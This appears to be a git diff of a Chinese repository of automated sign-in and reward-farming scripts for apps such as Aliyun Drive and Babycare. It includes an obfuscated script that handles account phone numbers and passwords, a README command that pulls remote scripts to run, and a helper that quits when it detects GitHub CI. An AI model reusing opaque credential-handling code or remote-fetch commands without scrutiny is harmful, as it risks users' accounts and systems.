_0x491874=_0x4c2f7b(0x124,'h@&]')+_0x434c86+_0x4c2f7b(0x14c,'9lV$')+_0x4608c5[_0x4c2f7b(0x13e,'Fc[#')]+'\x0a';if(_0x234c2c['xZpsr'](_0x4ba94d[_0x234c2c[_0x4c2f7b(0x130,'Qjjl')]]?.[_0x4c2f7b(0x16a,'&H9h')],0x1)){if(_0x234c2c[_0x4c2f7b(0x143,'YSK[')](_0x4c2f7b(0x136,'bOO^'),_0x234c2c['xqAkG']))_0x491874+='✅\x20今日已签到\x20(任务列表确认)\x0a';else{const [_0x1a4e69,_0xf14f93]=_0x15d23d[_0x4c2f7b(0x161,'&H9h')]('#');return _0x234c2c['arHhH'](_0x1a4e69,_0xf14f93)?{'phone':_0x1a4e69,'pwd':_0xf14f93}:null;}}else{if(_0x234c2c[_0x4c2f7b(0x153,'6xMU')](_0x4c2f7b(0x12a,'Opva'),_0x234c2c[_0x4c2f7b(0x16c,']xpS')]))return{'code':-0x1,'msg':_0x4273a4[_0x4c2f7b(0x108,'Opva')]};else{const _0x10b214=await doSign(_0x199ce3);_0x491874+=_0x234c2c[_0x4c2f7b(0x100,'De%C')](_0x10b214,null)?_0x4c2f7b(0x119,'wXlJ')+_0x10b214+'\x20积分\x0a':_0x234c2c[_0x4c2f7b(0x166,'CH4#')];}}if(_0x4608c5['isSignDouble'])_0x491874+=_0x234c2c[_0x4c2f7b(0x17b,'[n7g')];else{const _0x4a4904=await _0x234c2c[_0x4c2f7b(0x10f,'tm#T')](doDouble,_0x199ce3);_0x491874+=_0x234c2c['gDfdN'](_0x4a4904,null)?'✅\x20看广告成功,获得\x20'+_0x4a4904+_0x4c2f7b(0xf6,'q8Lv'):_0x234c2c[_0x4c2f7b(0x141,'lhvQ')];}if(_0x234c2c[_0x4c2f7b(0xf7,'Fc[#')](_0x4ba94d['看视频领好运']?.[_0x4c2f7b(0x113,'Fc[#')],0x1))_0x491874+=_0x234c2c[_0x4c2f7b(0x156,'h@&]')];else{if(_0x234c2c[_0x4c2f7b(0x146,'n3bN')](_0x234c2c['RTApd'],_0x234c2c[_0x4c2f7b(0x11a,'wXlJ')])){let _0x5687da=0x0;for(let _0x1210c0=0x0;_0x1210c0<0x3;_0x1210c0++){const _0x5e6e17=await _0x234c2c[_0x4c2f7b(0x12b,'N#5w')](watchVideo,_0x199ce3);if(_0x234c2c[_0x4c2f7b(0x162,'%[8%')](_0x5e6e17,null))_0x5687da+=_0x5e6e17;}_0x491874+=_0x234c2c['WpdWo'](_0x5687da,0x0)?_0x4c2f7b(0x128,'&H9h')+_0x5687da+'\x20积分\x0a':_0x234c2c[_0x4c2f7b(0x11e,'n3bN')];}else{const _0x7a62fa={'ttubm':function(_0x3075ca,_0x2b24c9){const _0x54f4b8=_0x4c2f7b;return _0x234c2c[_0x54f4b8(0x145,'&H9h')](_0x3075ca,_0x2b24c9);}},_0x1398e2=(_0x36dc1c[_0x4c2f7b(0x11f,'R0h1')][_0x4c2f7b(0x10c,'&H9h')]||'')['trim']();if(!_0x1398e2)return[];return _0x1398e2[_0x4c2f7b(0x112,'Zv60')](/[@\r\n]+/)['map'](_0x156664=>_0x156664['trim']())[_0x4c2f7b(0x154,'bOO^')](_0x6a79db)[_0x4c2f7b(0x15e,'CH4#')](_0x2ef009=>{const _0x303573=_0x4c2f7b,[_0x320fea,_0x16fd98]=_0x2ef009[_0x303573(0x17a,'q8Lv')]('#');return _0x7a62fa['ttubm'](_0x320fea,_0x16fd98)?{'phone':_0x320fea,'pwd':_0x16fd98}:null;})['filter'](_0x449707);}}_0x234c2c[_0x4c2f7b(0x137,'bAFg')](log,_0x491874);}!((async()=>{const _0x264f41=_0x524718,_0x54f331={'qujMr':_0x264f41(0x12d,'V0z5'),'mPXyX':_0x264f41(0x172,'qrm^'),'SNirv':_0x264f41(0x15a,'Qjjl'),'vYzMA':'😅\x20未找到任何账号,请在环境变量里添加\x20qbd=手机号#密码','LInhl':function(_0x109ab2,_0x994568){return _0x109ab2(_0x994568);},'hDkLz':function(_0x278a24,_0x4d0f44,_0x2210a0){return _0x278a24(_0x4d0f44,_0x2210a0);}},_0x399151=readEnvAccounts();if(!_0x399151[_0x264f41(0x14d,'%ye5')]){if(_0x54f331['mPXyX']===_0x54f331[_0x264f41(0x17c,'bOO^')])_0x36b62f+=_0x54f331[_0x264f41(0x176,'Fc[#')];else{log(_0x54f331[_0x264f41(0x171,'S3sY')]);return;}}_0x54f331['LInhl'](log,'🎯\x20共找到\x20'+_0x399151[_0x264f41(0x13a,'De%C')]+_0x264f41(0x129,'wXlJ'));for(const {phone:_0x3e3755,pwd:_0x21efc3}of _0x399151)await _0x54f331['hDkLz'](runAccount,_0x3e3755,_0x21efc3);})());var version_ = 'jsjiami.com.v7';
\ No newline at end of file
diff --git a/README.md b/README.md
index b85eb385..8498c984 100644
--- a/README.md
+++ b/README.md
@@ -1,71 +1,15 @@
-### 脚本功能列表
-
-| 脚本名称 | 最后一次更新时间 | 当前状态 |
-| :--- | :----: | :----: |
-| 海底捞签到 | 2026-04-02 09:00:00 | ✅ |
-| 夸客网盘签到 | 2026-04-02 09:00:00 | ✅ |
-| 阿里云盘签到 | 2026-04-02 08:56:23 | ✅ |
-| 爱玛会员俱乐部 | 2026-04-02 09:08:43 | ✅ |
-| 快手极速版 | 2026-04-02 09:08:43 | ✅ |
-| 叮当快药 | 2026-04-08 20:04:58 | ✅ |
-| 奇瑞汽车 | 2026-04-03 08:37:37 | ✅ |
-| 东方烟草报 | 2026-04-02 21:10:57 | ✅ |
-| babycare | 2026-04-03 08:37:37 | ✅ |
-| 海底捞 | 2026-04-03 08:37:37 | ✅ |
-| 蔚来签到 | 2026-04-03 08:37:37 | ✅ |
-| 国乐酱酒 | 2026-04-08 20:04:58 | ✅ |
-| 海天美味馆小程序 | 2026-04-03 14:01:00 | ✅ |
-| 中国移动APP | 2026-04-03 19:20:54 | ✅ |
-| 麦斯威尔福利社小程序 | 2026-04-05 09:54:35 | ✅ |
-| 摩托范 | 2026-04-05 14:32:06 | ✅ |
-| 蜜雪冰城 | 2026-04-05 16:40:26 | ✅ |
-| 荷叶健康小程序 | 2026-04-07 15:53:03 | ✅ |
-| 慕思小程序 | 2026-04-06 18:29:34 | ✅ |
-| 统一快乐星球茄皇 | 2026-04-06 10:13:09 | ✅ |
-| colorful七彩虹 | 2026-04-08 20:04:58 | ✅ |
-| 得物0元抽 | 2026-04-08 20:04:58 | ✅ |
-| 海尔智家 | 2026-04-09 17:59:11 | ✅ |
-| iqoo社区 | 2026-04-08 20:04:58 | ✅ |
-| 心喜小程序 | 2026-04-07 15:53:03 | ✅ |
-| BREO | 2026-04-07 19:05:34 | ✅ |
-| stokkes小程序签到 | 2026-04-07 19:05:34 | ✅ |
-| 浓五的酒馆 | 2026-04-07 19:05:34 | ✅ |
-| 硬声 | 2026-04-07 20:25:35 | ✅ |
-| 顺丰速运日常任务 | 2026-04-09 19:02:56 | ✅ |
-| 中国移动云盘 | 2026-04-07 20:25:35 | ✅ |
-| 植白说小程序 | 2026-04-07 20:25:35 | ✅ |
-| 鸿星尔克签到 | 2026-04-07 20:25:35 | ✅ |
-| lenovo联想 | 2026-04-07 20:25:35 | ✅ |
-| 塔斯汀小程序签到 | 2026-04-07 20:25:35 | ✅ |
-| 夸克自动签到 | 2026-04-07 20:25:35 | ✅ |
-| 长虹智慧家居每日签到 | 2026-04-07 20:25:35 | ✅ |
-| 活力伊利小程序 | 2026-04-07 20:25:35 | ✅ |
-| 康师傅畅饮社 | 2026-04-07 20:25:35 | ✅ |
-| 上海云媒体积分任务 | 2026-04-07 20:25:35 | ✅ |
-| 北京现代 | 2026-04-07 20:25:35 | ✅ |
-| 51代理自动签到 | 2026-04-07 20:25:35 | ✅ |
-| 360社区签到 | 2026-04-07 20:25:35 | ✅ |
-| 中国联通 | 2026-04-07 20:25:35 | ✅ |
-| 逢三得利吧小程序 | 2026-04-07 20:25:35 | ✅ |
-| 可口可乐吧 | 2026-04-07 20:25:35 | ✅ |
-| 臭宝乐园 | 2026-04-08 13:16:25 | ✅ |
-| 谷雨小程序 | 2026-04-12 13:28:49 | ✅ |
-| 立乐家会员俱乐部 | 2026-04-08 13:57:03 | ✅ |
-| 益禾堂 | 2026-04-12 14:09:41 | ✅ |
-
-## 微信小程序脚本 需要wechat code server
+# QLScriptpublic
-
-| 脚本名称 | 更新时间 | 状态 |
-| --- | --- | --- |
-
+| 脚本名称 | 最后一次更新时间 | 当前状态 |
+| :--- | :----: | :----: |
+| Header | Title | ✅ |
+| Paragraph | Text | ❌ |
-
-# 青龙面板拉库命令
-`ql repo https://github.com/smallfawn/QLScriptPublic.git backup main`
-## 免责声明
+# 青龙面板拉库命令
+``````
+ql repo https://ghproxy.net/https://github.com/smallfawn/QLScriptPublic.git backup main
这里的脚本只是自己学习 js 的一个实践 仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断.
@@ -81,12 +25,6 @@ smallfawn 对任何脚本问题概不负责,包括但不限于由任何脚本
您必须在下载后的24小时内从计算机或手机中完全删除以上内容.严禁产生利益链!
-## Star History
-
-
-
-
-
-
-
\ No newline at end of file
+
+
diff --git a/tools/env.js b/Tools/env.js
similarity index 60%
rename from tools/env.js
rename to Tools/env.js
index 06c67d90..19d5ba22 100644
--- a/tools/env.js
+++ b/Tools/env.js
@@ -11,40 +11,6 @@ function Env(t, s) {
this.startTime = new Date().getTime();
Object.assign(this, s);
this.log(`\ud83d\udd14${this.name},\u5f00\u59cb!`);
- this.bucket = this.bucket || ''
- this.fs = require("fs");
- if (this.isNode() && this.bucket) {
- try {
- if (!this.fs.existsSync(this.bucket)) {
- this.fs.writeFileSync(this.bucket, JSON.stringify({}, null, 2));
- this.log(`📁 已创建 bucket 文件: ${this.bucket}`);
- }
- } catch (e) {
- this.log("❌ 初始化 bucket 失败: " + e.message);
- }
- }
- }
- async get(key, def = null) {
- if (!this.isNode()) return def;
- try {
- const data = await this.fs.promises.readFile(this.bucket, "utf-8");
- const json = JSON.parse(data);
- return json.hasOwnProperty(key) ? json[key] : def;
- } catch (e) {
- this.log("❌ 读取bucket失败: " + e.message);
- return def;
- }
- }
- async set(key, value) {
- if (!this.isNode()) return;
- try {
- const data = await this.fs.promises.readFile(this.bucket, "utf-8");
- const json = JSON.parse(data);
- json[key] = value;
- await this.fs.promises.writeFile(this.bucket, JSON.stringify(json, null, 2));
- } catch (e) {
- this.log("❌ 写入bucket失败: " + e.message);
- }
}
checkEnv(ckName) {
const envSplitor = ["&", "\n"];
@@ -53,22 +19,19 @@ function Env(t, s) {
this.userCount = this.userList.length;
this.log(`共找到${this.userCount}个账号`);
}
- toStr(v) {
- if (v instanceof Error) return v.stack || v.message;
- if (v && typeof v == "object") try { return JSON.stringify(v) } catch { return "[Complex Object]" }
- return String(v);
- }
async sendMsg() {
this.log("==============📣Center 通知📣==============")
+ for (let i = 0; i < this.notifyStr.length; i++) {
+ if (Object.prototype.toString.call(this.notifyStr[i]) === '[object Object]' ||
+ Object.prototype.toString.call(this.notifyStr[i]) === '[object Array]') {
+ this.notifyStr[i] = JSON.stringify(this.notifyStr[i]);
+ }
+ }
let message = this.notifyStr.join(this.logSeparator);
if (this.isNode()) {
- try {
- const { sendNotify } = require("./sendNotify.js")
- await sendNotify(this.name, message);
- } catch (e) {
- console.error(e.code === "MODULE_NOT_FOUND" ? "发送通知失败: 未找到 sendNotify.js 模块" : `发送通知失败: sendNotify.js 内部错误 (${e.message})`);
- }
-
+ const notify = require("./sendNotify.js")
+ await notify.sendNotify(this.name, message);
+ } else {
}
}
isNode() {
@@ -84,7 +47,16 @@ function Env(t, s) {
return ret.join(c);
}
getURLParams(url) {
- try { return Object.fromEntries(new URL(url, "http://localhost").searchParams) } catch { return {} }
+ const params = {};
+ const queryString = url.split("?")[1];
+ if (queryString) {
+ const paramPairs = queryString.split("&");
+ paramPairs.forEach((pair) => {
+ const [key, value] = pair.split("=");
+ params[key] = value;
+ });
+ }
+ return params;
}
isJSONString(str) {
try {
@@ -154,14 +126,11 @@ function Env(t, s) {
}
log(content) {
- this.notifyStr.push(`[${this.time("HH:mm:ss")}]` + " " + this.toStr(content))
+ this.notifyStr.push(content)
console.log(content)
}
-
- wait(min, max = null) {
- const ms = max == null ? min : Math.random() * (max - min + 1) + min | 0;
- ms >= 1000 && this.log(`等待 ${(ms / 1000).toFixed(2)} 秒...`, { notify: false });
- return new Promise(r => setTimeout(r, ms));
+ wait(t) {
+ return new Promise((s) => setTimeout(s, t));
}
async done() {
await this.sendMsg();
@@ -171,15 +140,9 @@ function Env(t, s) {
`\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`
);
if (this.isNode()) {
- process.exit(0);
+ process.exit(1);
}
}
- parseCookie(ck) {
- return typeof ck != "string" || !ck ? {} : Object.fromEntries(
- ck.split(/;\s*/).filter(v => v.includes("=")).map(v => [v.slice(0, v.indexOf("=")), v.slice(v.indexOf("=") + 1)])
- );
- }
-
})(t, s);
}
module.exports = {
diff --git a/tools/sendNotify.js b/Tools/sendNotify.js
similarity index 100%
rename from tools/sendNotify.js
rename to Tools/sendNotify.js
diff --git a/aliyunpan.py b/aliyunpan.py
new file mode 100644
index 00000000..9c60d918
--- /dev/null
+++ b/aliyunpan.py
@@ -0,0 +1,80 @@
+
+import json
+import os
+
+import requests
+import urllib3
+
+from dailycheckin import CheckIn
+
+urllib3.disable_warnings()
+
+
+class AliYun(CheckIn):
+ name = "阿里云盘"
+
+ def __init__(self, check_item: dict):
+ self.check_item = check_item
+
+ def update_token(self, refresh_token):
+ url = "https://auth.aliyundrive.com/v2/account/token"
+ data = {"grant_type": "refresh_token", "refresh_token": refresh_token}
+ response = requests.post(url=url, json=data).json()
+ access_token = response.get("access_token")
+ return access_token
+
+ def sign(self, access_token):
+ url = "https://member.aliyundrive.com/v1/activity/sign_in_list"
+ headers = {"Authorization": access_token, "Content-Type": "application/json"}
+ result = requests.post(url=url, headers=headers, json={}).json()
+ sign_days = result["result"]["signInCount"]
+ data = {"signInDay": sign_days}
+ url_reward = "https://member.aliyundrive.com/v1/activity/sign_in_reward"
+ requests.post(url=url_reward, headers=headers, data=json.dumps(data))
+ if "success" in result:
+ print("签到成功")
+ for i, j in enumerate(result["result"]["signInLogs"]):
+ if j["status"] == "miss":
+ day_json = result["result"]["signInLogs"][i - 1]
+ if not day_json["isReward"]:
+ msg = [
+ {
+ "name": "阿里云盘",
+ "value": "签到成功,今日未获得奖励",
+ }
+ ]
+ else:
+ msg = [
+ {
+ "name": "累计签到",
+ "value": result["result"]["signInCount"],
+ },
+ {
+ "name": "阿里云盘",
+ "value": "获得奖励:{}{}".format(
+ day_json["reward"]["name"],
+ day_json["reward"]["description"],
+ ),
+ },
+ ]
+
+ return msg
+
+ def main(self):
+ refresh_token = self.check_item.get("refresh_token")
+ access_token = self.update_token(refresh_token)
+ if not access_token:
+ return [{"name": "阿里云盘", "value": "token 过期"}]
+ msg = self.sign(access_token)
+ msg = "\n".join([f"{one.get('name')}: {one.get('value')}" for one in msg])
+ return msg
+
+
+if __name__ == "__main__":
+ with open(
+ os.path.join(os.path.dirname(os.path.dirname(__file__)), "config.json"),
+ encoding="utf-8",
+ ) as f:
+ datas = json.loads(f.read())
+ _check_item = datas.get("ALIYUN", [])[0]
+ print(AliYun(check_item=_check_item).main())
diff --git a/alyp.js b/alyp.js
new file mode 100644
index 00000000..869e2c5f
--- /dev/null
+++ b/alyp.js
@@ -0,0 +1,529 @@
+/*
+@随缘撸豆
+阿里云盘 app cron 22 8 * * *
+https://raw.githubusercontent.com/liuqi6968/-/main/alyp.js
+
+ 6.21 就一个签到
+
+------------------------ 青龙--配置文件-贴心复制区域 ----------------------
+
+抓取https://auth.aliyundrive.com/v2/account/token
+body 中的 refresh_token
+export alyp=" refresh_token "
+
+多账号用 换行 或 @ 分割
+
+*/
+
+const $ = new Env("阿里云盘签到")
+const CK_NAME = "alyp"
+const Notify = 1 // 通知控制
+const tgLogFlag = 1 // 是否tg发送通知, 偷撸车使用, 默认0--不发送
+let msg = ''
+//===========================================================================
+
+//===========================================================================
+
+async function main(userInfo) {
+ await userInfo.refresh()
+}
+
+
+class UserInfo {
+ constructor(index, str) {
+ this.user_log = `${$.name}\n`
+ this.index = index + 1
+
+ if (tgLogFlag) {
+ try {
+ this.mopenid = str.split("##")[0]
+ this.chatId = str.split("##")[1]
+ this.ck = str
+ } catch (error) {
+ console.log(error)
+ }
+ }
+ }
+ async refresh() {
+ let name = "更新token";
+ let options = {
+ method: "post",
+ url: `https://auth.aliyundrive.com/v2/account/token`,
+ headers: {
+ "Host": "auth.aliyundrive.com",
+ "accept": "application/json",
+ "content-type": "application/json; charset\u003dUTF-8",
+ },
+ body: `{"grant_type":"refresh_token","refresh_token":"${this.ck}"}`
+ };
+ // console.log(options);
+ let res = await httpRequest(options);
+ // console.log(res);
+ if (res.status == 'enabled') {
+ this.token = res.access_token
+ this.nick_name = res.nick_name
+ // this.cusLog(`账号 ${this.index} ${name}: 更新token `)
+ await this.sign()
+ } else this.cusLog(`账号[${this.nick_name}] ${name} 失败 ❌ 了呢`), console.log(res);
+ }
+ async sign() {
+ let name = "签到";
+ let options = {
+ method: "post",
+ url: `https://member.aliyundrive.com/v1/activity/sign_in_list`,
+ headers: {
+ "Host": "member.aliyundrive.com",
+ "authorization": `Bearer ${this.token}`,
+ "accept": "application/json",
+ "Content-Type": "application/json; charset\u003dUTF-8",
+ },
+ body: `{"isReward":false}`
+ };
+ // console.log(options);
+ let res = await httpRequest(options);
+ // console.log(res);
+ if (res.success == true) {
+ this.id = res.result.signInCount
+ var o = this.id - 1
+ this.cusLog(`账号 [${this.nick_name} ] \n ${name}: 成功 \n ${res.result.signInLogs[o].calendarChinese} \n ${res.result.signInLogs[o].reward.notice} `)
+ await this.reward()
+ } else this.cusLog(`账号[${this.index}] ${name} 失败 ❌ 了呢`), console.log(res);
+ }
+ async reward() {
+ let name = "领取";
+ let options = {
+ method: "post",
+ url: `https://member.aliyundrive.com/v1/activity/sign_in_reward`,
+ headers: {
+ "Host": "member.aliyundrive.com",
+ "authorization": `Bearer ${this.token}`,
+ "accept": "application/json",
+ "Content-Type": "application/json; charset\u003dUTF-8",
+ },
+ body: `{"signInDay":${this.id}}`
+ };
+ // console.log(options);
+ let res = await httpRequest(options);
+ // console.log(res);
+ if (res.success == true) {
+
+ this.cusLog(` ${res.result.description} `)
+
+ } else this.cusLog(`账号[${this.index}] ${name} 失败 ❌ 了呢`), console.log(res);
+ }
+
+
+
+
+
+
+
+
+
+
+
+ async Sendtg_bot() {
+ const TelegramBot = require('node-telegram-bot-api');
+ const tg_token = process.env.tg_token;
+ // console.log(tg_token);
+ let bot = new TelegramBot(tg_token);
+ let msg = this.user_log;
+ // console.log(`=================`);
+ // console.log(this.chatId, msg);
+ await bot.sendMessage(this.chatId, msg);
+ }
+
+
+ cusLog(a) {
+ if (tgLogFlag) {
+ console.log(` ${a}`);
+ msg += `\n ${a}`;
+ this.user_log += `\n ${a}`;
+ } else {
+ console.log(` ${a}`);
+ msg += `\n ${a}`;
+ }
+ }
+
+
+}
+
+
+
+
+
+///////////////////////////////////////////////////////////////////
+
+// 入口
+!(async () => {
+ const notify = require("./sendNotify");
+ // $.doubleLog(await $.yiyan());
+ let users = await getUsers(CK_NAME, async (index, element) => {
+ let userInfo = new UserInfo(index, element);
+ return userInfo;
+ });
+
+ list = [];
+ users.forEach(async element => {
+ list.push(main(element));
+ });
+
+ await Promise.all(list);
+
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+
+// ==============================================================================
+async function getUsers(ckName, fnUserInfo) {
+ let userList = [];
+ let userCookie = process.env[ckName];
+ let envSplicer = ["@", "\n", "&"];
+ let userCount = 0;
+ if (userCookie) {
+ let e = envSplicer[0];
+ for (let o of envSplicer)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ let arr = userCookie.split(e);
+ for (let index = 0; index < arr.length; index++) {
+ const element = arr[index];
+ element && userList.push(await fnUserInfo(index, element));
+ }
+ userCount = userList.length;
+ } else {
+ console.log("未找到CK");
+ }
+ console.log(`共找到${userCount}个账号`), !0;
+ return userList;
+}
+
+async function httpRequest(options, type = false) {
+ return new Promise((resolve) => {
+ try {
+ $.send(options, async (err, res_body, res_format, res) => {
+ if (err) {
+ console.log(`错误, 检查点--2`); return;
+ }
+ if (!type) {
+ resolve(res_body);
+ } resolve(res_format);
+ });
+ } catch (error) {
+ console.log(error);
+ }
+
+ });
+}
+
+
+
+
+
+
+
+// ============================================================================================================================
+
+// 新的 env 函数, 增加自定义功能 yml-11.12改 合并
+function Env(name, env) {
+ "undefined" != typeof process &&
+ JSON.stringify(process.env).indexOf("GITHUB") > -1 &&
+ process.exit(0);
+ return new (class {
+ constructor(name, env) {
+ this.name = name;
+ this.notifyStr = "";
+ this.notifyFlag = false;
+ this.startTime = new Date().getTime();
+ Object.assign(this, env);
+ console.log(`${this.name} 开始运行: \n`);
+ }
+ isNode() {
+ return "undefined" != typeof module && !!module.exports;
+ }
+ send(options, e = () => { }) {
+ let m = options.method.toLowerCase();
+ let t = options;
+ if (m != "get" && m != "post" && m != "put" && m != "delete") {
+ console.log(`无效的http方法: ${m}`);
+ return;
+ }
+ if (m == "get" && t.headers) {
+ // delete t.headers["Content-Type"];
+ delete t.headers["Content-Length"];
+ } else if (t.body && t.headers) {
+ if (t.headers["content-type"]) {
+ let tem = t.headers["content-type"];
+ delete t.headers["content-type"];
+ t.headers["Content-Type"] = tem;
+ } else if (t.body && t.headers) {
+ if (!t.headers["Content-Type"])
+ t.headers["Content-Type"] = "application/x-www-form-urlencoded";
+ }
+ }
+ if (this.isNode()) {
+ this.request = this.request ? this.request : require("request");
+ this.request(options, function (error, response) {
+ if (error) throw new Error(error);
+ let res_body = response.body;
+ let res = response;
+ try {
+ if (typeof res_body == "string") {
+ if ($.isJsonStr(res_body)) {
+ res_body = JSON.parse(res_body);
+ let res_format = $.formatJson(response.body);
+ e(null, res_body, res_format, res);
+ } else e(null, res_body, res_format, res);
+ } else e(null, res_body, res_format, res);
+ } catch (error) {
+ console.log(error);
+ let a = `ENV -- request 请求错误, 检查点1\n${error}`;
+ e(a, null, null, null);
+ }
+ });
+ }
+ }
+ isJsonStr(str) {
+ if (typeof str == "string") {
+ try {
+ if (typeof JSON.parse(str) == "object") {
+ return true;
+ }
+ } catch (e) {
+ return false;
+ }
+ }
+ return false;
+ }
+ formatJson(value) {
+ var json = value;
+ var i = 0,
+ len = 0,
+ tab = " ",
+ targetJson = "",
+ indentLevel = 0,
+ inString = false,
+ currentChar = null;
+ for (i = 0, len = json.length; i < len; i += 1) {
+ currentChar = json.charAt(i);
+ switch (currentChar) {
+ case "{":
+ case "[":
+ if (!inString) {
+ targetJson += currentChar + "\n" + repeat(tab, indentLevel + 1);
+ indentLevel += 1;
+ } else {
+ targetJson += currentChar;
+ }
+ break;
+ case "}":
+ case "]":
+ if (!inString) {
+ indentLevel -= 1;
+ targetJson += "\n" + repeat(tab, indentLevel) + currentChar;
+ } else {
+ targetJson += currentChar;
+ }
+ break;
+ case ",":
+ if (!inString) {
+ targetJson += ",\n" + repeat(tab, indentLevel);
+ } else {
+ targetJson += currentChar;
+ }
+ break;
+ case ":":
+ if (!inString) {
+ targetJson += ": ";
+ } else {
+ targetJson += currentChar;
+ }
+ break;
+ case " ":
+ case "\n":
+ case "\t":
+ if (inString) {
+ targetJson += currentChar;
+ }
+ break;
+ case '"':
+ if (i > 0 && json.charAt(i - 1) !== "\\") {
+ inString = !inString;
+ }
+ targetJson += currentChar;
+ break;
+ default:
+ targetJson += currentChar;
+ break;
+ }
+ }
+ function repeat(s, count) {
+ return new Array(count + 1).join(s);
+ }
+ function repeat(s, count) {
+ return new Array(count + 1).join(s);
+ }
+ return targetJson;
+ }
+ type(str) {
+ if (this.strCode(str) > 20) {
+ return console.log(`数据类型是: ${typeof str}`);
+ }
+ return console.log(`${str}数据类型是: ${typeof str}`);
+ }
+ strCode(str) {
+ var count = 0;
+ if (str) {
+ let len = str.length;
+ for (var i = 0; i < len; i++) {
+ if (str.charCodeAt(i) > 255) {
+ count += 2;
+ } else {
+ count++;
+ }
+ }
+ return count;
+ } else return 0;
+ }
+ async SendMsg(message) {
+ if (!message) return;
+ if (Notify > 0) {
+ if ($.isNode()) {
+ var notify = require("./sendNotify");
+ await notify.sendNotify($.name, message);
+ } else {
+ console.log($.name, "", message);
+ }
+ } else {
+ console.log(message);
+ }
+ }
+ getMin(a, b) {
+ return a < b ? a : b;
+ }
+ getMax(a, b) {
+ return a < b ? b : a;
+ }
+ json2str(obj, c, encodeUrl = false) {
+ let ret = [];
+ for (let keys of Object.keys(obj).sort()) {
+ let v = obj[keys];
+ if (v && encodeUrl) v = encodeURIComponent(v);
+ ret.push(keys + "=" + v);
+ }
+ return ret.join(c);
+ }
+ str2json(str, decodeUrl = false) {
+ let ret = {};
+ for (let item of str.split("&")) {
+ if (!item) continue;
+ let idx = item.indexOf("=");
+ if (idx == -1) continue;
+ let k = item.substr(0, idx);
+ let v = item.substr(idx + 1);
+ if (decodeUrl) v = decodeURIComponent(v);
+ ret[k] = v;
+ }
+ return ret;
+ }
+ randomStr(len, up = false, charset = "abcdef0123456789") {
+ let str = "";
+ for (let i = 0; i < len; i++) {
+ str += charset.charAt(Math.floor(Math.random() * charset.length));
+ }
+ if (!up) {
+ return str;
+ }
+ return str.toUpperCase();
+ }
+ phoneNum(phone_num) {
+ if (phone_num.length == 11) {
+ let data = phone_num.replace(/(\d{3})\d{4}(\d{4})/, "$1****$2");
+ return data;
+ } else {
+ return phone_num;
+ }
+ }
+ randomInt(min, max) {
+ return Math.round(Math.random() * (max - min) + min);
+ }
+ async yiyan() {
+ this.request = this.request ? this.request : require("request");
+ return new Promise((resolve) => {
+ var options = {
+ method: "GET",
+ url: "https://v1.hitokoto.cn/",
+ headers: {},
+ };
+ this.request(options, function (error, response) {
+ let data = JSON.parse(response.body);
+ let data_ = `[一言]: ${data.hitokoto} by--${data.from}`;
+ resolve(data_);
+ });
+ });
+ }
+ wait(t) {
+ return new Promise((e) => setTimeout(e, t * 1000));
+ }
+ ts(type = false, _data = "") {
+ let myDate = new Date();
+ let a = "";
+ switch (type) {
+ case 10:
+ a = Math.round(new Date().getTime() / 1000).toString();
+ break;
+ case 13:
+ a = Math.round(new Date().getTime()).toString();
+ break;
+ case "h":
+ a = myDate.getHours();
+ break;
+ case "m":
+ a = myDate.getMinutes();
+ break;
+ case "y":
+ a = myDate.getFullYear();
+ break;
+ case "h":
+ a = myDate.getHours();
+ break;
+ case "mo":
+ a = myDate.getMonth();
+ break;
+ case "d":
+ a = myDate.getDate();
+ break;
+ case "ts2Data":
+ if (_data != "") {
+ time = _data;
+ if (time.toString().length == 13) {
+ let date = new Date(time + 8 * 3600 * 1000);
+ a = date.toJSON().substr(0, 19).replace("T", " ");
+ } else if (time.toString().length == 10) {
+ time = time * 1000;
+ let date = new Date(time + 8 * 3600 * 1000);
+ a = date.toJSON().substr(0, 19).replace("T", " ");
+ }
+ }
+ break;
+ default:
+ a = "未知错误,请检查";
+ break;
+ }
+ return a;
+ }
+ doubleLog(a) {
+ console.log(` ${a}`);
+ msg += `\n ${a}`;
+ }
+ async done(t = {}) {
+ await $.SendMsg(msg);
+ const e = new Date().getTime(),
+ s = (e - this.startTime) / 1e3;
+ console.log(`\n${this.name} 运行结束,共运行了 ${s} 秒!`);
+ }
+ })(name, env);
+}
\ No newline at end of file
diff --git a/babycare.js b/babycare.js
new file mode 100644
index 00000000..91f1464c
--- /dev/null
+++ b/babycare.js
@@ -0,0 +1,249 @@
+
+/**
+ * Babaycare旗舰店、超级门店通用
+ * Author: Mist
+ * Date: 2024-07-20
+ * cron "30 7 * * *" babaycare.js
+ * export babaycare= authorization 多账号换行或者#分隔
+ */
+// ============================================================================================================
+const $ = new Env('Babaycare')
+const axios = require('axios')
+const md5 = require('md5')
+const env_name = 'babaycare' //环境变量名字
+const env = process.env[env_name] || '' //获取环境变量
+const Notify = 1//是否通知, 1通知, 0不通知. 默认通知
+const debug = 0//是否调试, 1调试, 0不调试. 默认不调试
+let scriptVersionNow = "1.0.0";//脚本版本号
+let msg = "";
+// ==================================异步顺序==============================================================================
+!(async () => {
+ //await getNotice(); //远程通知
+ //await getVersion("yang53458/ohhh154@main/babaycare.js");
+ await main();//主函数
+ await SendMsg(msg); //发送通知
+
+})()
+ .catch((e) => $.logErr(e))
+ .finally(() => $.done());
+//==================================脚本入口函数main()==============================================================
+async function main() {
+ if (env == '') {
+ //没有设置变量,直接退出
+ console.log(`没有填写变量,请查看脚本说明: ${env_name}`)
+ return
+ }
+ let user_ck = env.split('\n')
+ DoubleLog(`\n========== 共找到 ${user_ck.length} 个账号 ==========`);
+ let index = 1 //用来给账号标记序号, 从1开始
+ for (let ck of user_ck) {
+ if (!ck) continue //跳过空行
+ let ck_info = ck.split('&')
+ let authorization = ck_info[0]
+ let user = {
+ index: index,
+ authorization,
+ }
+ index = index + 1 //每次用完序号+1
+ //开始账号任务
+ await userTask(user)
+ //每个账号之间等1~5秒随机时间
+ let rnd_time = Math.floor(Math.random() * 4000) + 1000
+ console.log(`账号[${user.index}]随机等待${rnd_time / 1000}秒...`)
+ await $.wait(rnd_time)
+ }
+}
+// ======================================开始任务=========================================
+async function userTask(user) {
+ console.log(`\n============= 账号[${user.index}]开始任务 =============`)
+ await SignInDailyScore(user)
+ await wait (1)
+ await GetUserPoint(user)
+}
+// =============================================================================================================================
+//签到
+async function SignInDailyScore(user) {
+ try {
+ let urlObject = {
+ method: 'post',
